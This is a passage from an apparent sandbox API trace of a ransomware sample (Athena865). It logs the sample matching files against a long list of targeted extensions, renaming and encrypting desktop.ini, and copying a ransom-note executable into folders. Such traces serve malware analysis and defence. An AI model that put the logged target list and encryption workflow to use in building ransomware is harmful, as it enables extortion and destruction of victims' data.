lpString2="vmdk") returned -1 [0036.043] lstrlenW (lpString="rar") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="rar") returned -1 [0036.043] lstrlenW (lpString="zip") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="zip") returned -1 [0036.043] lstrlenW (lpString="tgz") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="tgz") returned -1 [0036.043] lstrlenW (lpString="vbox") returned 4 [0036.043] lstrcmpiW (lpString1=".ini", lpString2="vbox") returned -1 [0036.043] lstrlenW (lpString="vdi") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="vdi") returned -1 [0036.043] lstrlenW (lpString="vhd") returned 3 [0036.043] lstrcmpiW (lpString1="ini", lpString2="vhd") returned -1 [0036.043] lstrlenW (lpString="vhdx") returned 4 [0036.043] lstrcmpiW (lpString1=".ini", lpString2="vhdx") returned -1 [0036.043] lstrlenW (lpString="avhd") returned 4 [0036.043] lstrcmpiW (lpString1=".ini", lpString2="avhd") returned -1 [0036.043] lstrlenW (lpString="db") returned 2 [0036.043] lstrcmpiW (lpString1="ni", lpString2="db") returned 1 [0036.044] lstrlenW (lpString="db2") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="db2") returned 1 [0036.044] lstrlenW (lpString="db3") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="db3") returned 1 [0036.044] lstrlenW (lpString="dbf") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="dbf") returned 1 [0036.044] lstrlenW (lpString="mdf") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="mdf") returned -1 [0036.044] lstrlenW (lpString="mdb") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="mdb") returned -1 [0036.044] lstrlenW (lpString="sql") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="sql") returned -1 [0036.044] lstrlenW (lpString="sqlite") returned 6 [0036.044] lstrcmpiW (lpString1="op.ini", lpString2="sqlite") returned -1 [0036.044] lstrlenW (lpString="sqlite3") returned 7 [0036.044] lstrcmpiW (lpString1="top.ini", lpString2="sqlite3") returned 1 [0036.044] lstrlenW (lpString="sqlitedb") returned 8 [0036.044] lstrcmpiW (lpString1="ktop.ini", lpString2="sqlitedb") returned -1 [0036.044] lstrlenW (lpString="xml") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="xml") returned -1 [0036.044] lstrlenW (lpString="$er") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="$er") returned 1 [0036.044] lstrlenW (lpString="4dd") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="4dd") returned 1 [0036.044] lstrlenW (lpString="4dl") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="4dl") returned 1 [0036.044] lstrlenW (lpString="^^^") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="^^^") returned 1 [0036.044] lstrlenW (lpString="abs") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="abs") returned 1 [0036.044] lstrlenW (lpString="abx") returned 3 [0036.044] lstrcmpiW (lpString1="ini", lpString2="abx") returned 1 [0036.044] lstrlenW (lpString="accdb") returned 5 [0036.044] lstrcmpiW (lpString1="p.ini", lpString2="accdb") returned 1 [0036.044] lstrlenW (lpString="accdc") returned 5 [0036.044] lstrcmpiW (lpString1="p.ini", lpString2="accdc") returned 1 [0036.045] lstrlenW (lpString="accde") returned 5 [0036.045] lstrcmpiW (lpString1="p.ini", lpString2="accde") returned 1 [0036.045] lstrlenW (lpString="accdr") returned 5 [0036.045] lstrcmpiW (lpString1="p.ini", lpString2="accdr") returned 1 [0036.045] lstrlenW (lpString="accdt") returned 5 [0036.045] lstrcmpiW (lpString1="p.ini", lpString2="accdt") returned 1 [0036.045] lstrlenW (lpString="accdw") returned 5 [0036.045] lstrcmpiW (lpString1="p.ini", lpString2="accdw") returned 1 [0036.045] lstrlenW (lpString="accft") returned 5 [0036.045] lstrcmpiW (lpString1="p.ini", lpString2="accft") returned 1 [0036.045] lstrlenW (lpString="adb") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0036.045] lstrlenW (lpString="adb") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="adb") returned 1 [0036.045] lstrlenW (lpString="ade") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="ade") returned 1 [0036.045] lstrlenW (lpString="adf") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="adf") returned 1 [0036.045] lstrlenW (lpString="adn") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="adn") returned 1 [0036.045] lstrlenW (lpString="adp") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="adp") returned 1 [0036.045] lstrlenW (lpString="alf") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="alf") returned 1 [0036.045] lstrlenW (lpString="ask") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="ask") returned 1 [0036.045] lstrlenW (lpString="btr") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="btr") returned 1 [0036.045] lstrlenW (lpString="cat") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="cat") returned 1 [0036.045] lstrlenW (lpString="cdb") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="cdb") returned 1 [0036.045] lstrlenW (lpString="ckp") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="ckp") returned 1 [0036.045] lstrlenW (lpString="cma") returned 3 [0036.045] lstrcmpiW (lpString1="ini", lpString2="cma") returned 1 [0036.046] lstrlenW (lpString="cpd") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="cpd") returned 1 [0036.046] lstrlenW (lpString="dacpac") returned 6 [0036.046] lstrcmpiW (lpString1="op.ini", lpString2="dacpac") returned 1 [0036.046] lstrlenW (lpString="dad") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dad") returned 1 [0036.046] lstrlenW (lpString="dadiagrams") returned 10 [0036.046] lstrcmpiW (lpString1="esktop.ini", lpString2="dadiagrams") returned 1 [0036.046] lstrlenW (lpString="daschema") returned 8 [0036.046] lstrcmpiW (lpString1="ktop.ini", lpString2="daschema") returned 1 [0036.046] lstrlenW (lpString="db-journal") returned 10 [0036.046] lstrcmpiW (lpString1="esktop.ini", lpString2="db-journal") returned 1 [0036.046] lstrlenW (lpString="db-shm") returned 6 [0036.046] lstrcmpiW (lpString1="op.ini", lpString2="db-shm") returned 1 [0036.046] lstrlenW (lpString="db-wal") returned 6 [0036.046] lstrcmpiW (lpString1="op.ini", lpString2="db-wal") returned 1 [0036.046] lstrlenW (lpString="dbc") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dbc") returned 1 [0036.046] lstrlenW (lpString="dbs") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dbs") returned 1 [0036.046] lstrlenW (lpString="dbt") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dbt") returned 1 [0036.046] lstrlenW (lpString="dbv") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dbv") returned 1 [0036.046] lstrlenW (lpString="dbx") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dbx") returned 1 [0036.046] lstrlenW (lpString="dcb") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dcb") returned 1 [0036.046] lstrlenW (lpString="dct") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dct") returned 1 [0036.046] lstrlenW (lpString="dcx") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="dcx") returned 1 [0036.046] lstrlenW (lpString="ddl") returned 3 [0036.046] lstrcmpiW (lpString1="ini", lpString2="ddl") returned 1 [0036.046] lstrlenW (lpString="dlis") returned 4 [0036.046] lstrcmpiW (lpString1=".ini", lpString2="dlis") returned -1 [0036.047] lstrlenW (lpString="dp1") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="dp1") returned 1 [0036.047] lstrlenW (lpString="dqy") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="dqy") returned 1 [0036.047] lstrlenW (lpString="dsk") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="dsk") returned 1 [0036.047] lstrlenW (lpString="dsn") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="dsn") returned 1 [0036.047] lstrlenW (lpString="dtsx") returned 4 [0036.047] lstrcmpiW (lpString1=".ini", lpString2="dtsx") returned -1 [0036.047] lstrlenW (lpString="dxl") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="dxl") returned 1 [0036.047] lstrlenW (lpString="eco") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="eco") returned 1 [0036.047] lstrlenW (lpString="ecx") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="ecx") returned 1 [0036.047] lstrlenW (lpString="edb") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="edb") returned 1 [0036.047] lstrlenW (lpString="epim") returned 4 [0036.047] lstrcmpiW (lpString1=".ini", lpString2="epim") returned -1 [0036.047] lstrlenW (lpString="fcd") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fcd") returned 1 [0036.047] lstrlenW (lpString="fdb") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fdb") returned 1 [0036.047] lstrlenW (lpString="fic") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fic") returned 1 [0036.047] lstrlenW (lpString="flexolibrary") returned 12 [0036.047] lstrlenW (lpString="fm5") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fm5") returned 1 [0036.047] lstrlenW (lpString="fmp") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fmp") returned 1 [0036.047] lstrlenW (lpString="fmp12") returned 5 [0036.047] lstrcmpiW (lpString1="p.ini", lpString2="fmp12") returned 1 [0036.047] lstrlenW (lpString="fmpsl") returned 5 [0036.047] lstrcmpiW (lpString1="p.ini", lpString2="fmpsl") returned 1 [0036.047] lstrlenW (lpString="fol") returned 3 [0036.047] lstrcmpiW (lpString1="ini", lpString2="fol") returned 1 [0036.048] lstrlenW (lpString="fp3") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="fp3") returned 1 [0036.048] lstrlenW (lpString="fp4") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="fp4") returned 1 [0036.048] lstrlenW (lpString="fp5") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="fp5") returned 1 [0036.048] lstrlenW (lpString="fp7") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="fp7") returned 1 [0036.048] lstrlenW (lpString="fpt") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="fpt") returned 1 [0036.048] lstrlenW (lpString="frm") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="frm") returned 1 [0036.048] lstrlenW (lpString="gdb") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0036.048] lstrlenW (lpString="gdb") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="gdb") returned 1 [0036.048] lstrlenW (lpString="grdb") returned 4 [0036.048] lstrcmpiW (lpString1=".ini", lpString2="grdb") returned -1 [0036.048] lstrlenW (lpString="gwi") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="gwi") returned 1 [0036.048] lstrlenW (lpString="hdb") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="hdb") returned 1 [0036.048] lstrlenW (lpString="his") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="his") returned 1 [0036.048] lstrlenW (lpString="ib") returned 2 [0036.048] lstrcmpiW (lpString1="ni", lpString2="ib") returned 1 [0036.048] lstrlenW (lpString="idb") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="idb") returned 1 [0036.048] lstrlenW (lpString="ihx") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="ihx") returned 1 [0036.048] lstrlenW (lpString="itdb") returned 4 [0036.048] lstrcmpiW (lpString1=".ini", lpString2="itdb") returned -1 [0036.048] lstrlenW (lpString="itw") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="itw") returned -1 [0036.048] lstrlenW (lpString="jet") returned 3 [0036.048] lstrcmpiW (lpString1="ini", lpString2="jet") returned -1 [0036.048] lstrlenW (lpString="jtx") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="jtx") returned -1 [0036.049] lstrlenW (lpString="kdb") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="kdb") returned -1 [0036.049] lstrlenW (lpString="kexi") returned 4 [0036.049] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1 [0036.049] lstrlenW (lpString="kexic") returned 5 [0036.049] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1 [0036.049] lstrlenW (lpString="kexis") returned 5 [0036.049] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1 [0036.049] lstrlenW (lpString="lgc") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1 [0036.049] lstrlenW (lpString="lwx") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1 [0036.049] lstrlenW (lpString="maf") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1 [0036.049] lstrlenW (lpString="maq") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1 [0036.049] lstrlenW (lpString="mar") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1 [0036.049] lstrlenW (lpString="marshal") returned 7 [0036.049] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1 [0036.049] lstrlenW (lpString="mas") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1 [0036.049] lstrlenW (lpString="mav") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1 [0036.049] lstrlenW (lpString="maw") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1 [0036.049] lstrlenW (lpString="mdbhtml") returned 7 [0036.049] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1 [0036.049] lstrlenW (lpString="mdn") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1 [0036.049] lstrlenW (lpString="mdt") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1 [0036.049] lstrlenW (lpString="mfd") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1 [0036.049] lstrlenW (lpString="mpd") returned 3 [0036.049] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1 [0036.050] lstrlenW (lpString="mrg") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1 [0036.050] lstrlenW (lpString="mud") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1 [0036.050] lstrlenW (lpString="mwb") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1 [0036.050] lstrlenW (lpString="myd") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1 [0036.050] lstrlenW (lpString="ndf") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1 [0036.050] lstrlenW (lpString="nnt") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1 [0036.050] lstrlenW (lpString="nrmlib") returned 6 [0036.050] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1 [0036.050] lstrlenW (lpString="ns2") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1 [0036.050] lstrlenW (lpString="ns3") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1 [0036.050] lstrlenW (lpString="ns4") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1 [0036.050] lstrlenW (lpString="nsf") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1 [0036.050] lstrlenW (lpString="nv") returned 2 [0036.050] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1 [0036.050] lstrlenW (lpString="nv2") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1 [0036.050] lstrlenW (lpString="nwdb") returned 4 [0036.050] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1 [0036.050] lstrlenW (lpString="nyf") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1 [0036.050] lstrlenW (lpString="odb") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0036.050] lstrlenW (lpString="odb") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1 [0036.050] lstrlenW (lpString="oqy") returned 3 [0036.050] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1 [0036.050] lstrlenW (lpString="ora") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1 [0036.051] lstrlenW (lpString="orx") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1 [0036.051] lstrlenW (lpString="owc") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1 [0036.051] lstrlenW (lpString="p96") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1 [0036.051] lstrlenW (lpString="p97") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1 [0036.051] lstrlenW (lpString="pan") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1 [0036.051] lstrlenW (lpString="pdb") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1 [0036.051] lstrlenW (lpString="pdm") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1 [0036.051] lstrlenW (lpString="pnz") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1 [0036.051] lstrlenW (lpString="qry") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1 [0036.051] lstrlenW (lpString="qvd") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1 [0036.051] lstrlenW (lpString="rbf") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1 [0036.051] lstrlenW (lpString="rctd") returned 4 [0036.051] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1 [0036.051] lstrlenW (lpString="rod") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1 [0036.051] lstrlenW (lpString="rodx") returned 4 [0036.051] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1 [0036.051] lstrlenW (lpString="rpd") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1 [0036.051] lstrlenW (lpString="rsd") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1 [0036.051] lstrlenW (lpString="sas7bdat") returned 8 [0036.051] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1 [0036.051] lstrlenW (lpString="sbf") returned 3 [0036.051] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1 [0036.052] lstrlenW (lpString="scx") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1 [0036.052] lstrlenW (lpString="sdb") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1 [0036.052] lstrlenW (lpString="sdc") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1 [0036.052] lstrlenW (lpString="sdf") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1 [0036.052] lstrlenW (lpString="sis") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1 [0036.052] lstrlenW (lpString="spq") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1 [0036.052] lstrlenW (lpString="te") returned 2 [0036.052] lstrcmpiW (lpString1="ni", lpString2="te") returned -1 [0036.052] lstrlenW (lpString="teacher") returned 7 [0036.052] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1 [0036.052] lstrlenW (lpString="tmd") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1 [0036.052] lstrlenW (lpString="tps") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1 [0036.052] lstrlenW (lpString="trc") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0036.052] lstrlenW (lpString="trc") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1 [0036.052] lstrlenW (lpString="trm") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1 [0036.052] lstrlenW (lpString="udb") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1 [0036.052] lstrlenW (lpString="udl") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1 [0036.052] lstrlenW (lpString="usr") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1 [0036.052] lstrlenW (lpString="v12") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1 [0036.052] lstrlenW (lpString="vis") returned 3 [0036.052] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1 [0036.052] lstrlenW (lpString="vpd") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1 [0036.053] lstrlenW (lpString="vvv") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1 [0036.053] lstrlenW (lpString="wdb") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1 [0036.053] lstrlenW (lpString="wmdb") returned 4 [0036.053] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1 [0036.053] lstrlenW (lpString="wrk") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1 [0036.053] lstrlenW (lpString="xdb") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1 [0036.053] lstrlenW (lpString="xld") returned 3 [0036.053] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1 [0036.053] lstrlenW (lpString="xmlff") returned 5 [0036.053] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1 [0036.053] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\Public\\desktop.ini.Athena865") returned 54 [0036.053] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\Public\\desktop.ini" (normalized: "c:\\documents and settings\\public\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\Public\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0036.055] CreateFileW (lpFileName="C:\\Documents and Settings\\Public\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\public\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0036.057] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=174) returned 1 [0036.057] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0036.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0036.058] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518788 [0036.058] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518898) returned 1 [0036.059] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0036.059] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0036.059] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3b0, lpName=0x0) returned 0x17c [0036.094] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3b0) returned 0x100000 [0036.094] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518898) returned 1 [0036.095] CryptGenRandom (in: hProv=0x518898, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0036.095] CryptReleaseContext (hProv=0x518898, dwFlags=0x0) returned 1 [0036.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0036.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0036.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f508 [0036.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0036.095] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f508 | out: hHeap=0x4f0000) returned 1 [0036.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0036.095] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f508 [0036.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0036.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f508 | out: hHeap=0x4f0000) returned 1 [0036.096] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0036.096] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0036.096] CloseHandle (hObject=0x17c) returned 1 [0036.096] CloseHandle (hObject=0x154) returned 1 [0036.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0036.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518788 | out: hHeap=0x4f0000) returned 1 [0036.097] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0036.097] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbc5e2da0, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbc5e2da0, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2=".") returned 1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="..") returned 1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="windows") returned -1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="bootmgr") returned 1 [0036.097] lstrcmpiW (lpString1="Documents", lpString2="temp") returned -1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="pagefile.sys") returned -1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="boot") returned 1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="ids.txt") returned -1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="ntuser.dat") returned -1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="perflogs") returned -1 [0036.098] lstrcmpiW (lpString1="Documents", lpString2="MSBuild") returned -1 [0036.098] lstrlenW (lpString="Documents") returned 9 [0036.098] lstrcpyW (in: lpString1=0x241e88a, lpString2="Documents" | out: lpString1="Documents") returned="Documents" [0036.098] SetFileAttributesW (lpFileName="C:\\Documents and Settings\\Public\\Documents", dwFileAttributes=0x10) returned 1 [0036.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52cee8 [0036.098] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x56) returned 0x528cb0 [0036.098] lstrcatW (in: lpString1="Documents", lpString2="\\" | out: lpString1="Documents\\") returned="Documents\\" [0036.098] lstrcatW (in: lpString1="Documents\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Documents\\HOW TO BACK YOUR FILES.exe") returned="Documents\\HOW TO BACK YOUR FILES.exe" [0036.098] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\Public\\Documents\\HOW TO BACK YOUR FILES.exe" (normalized: 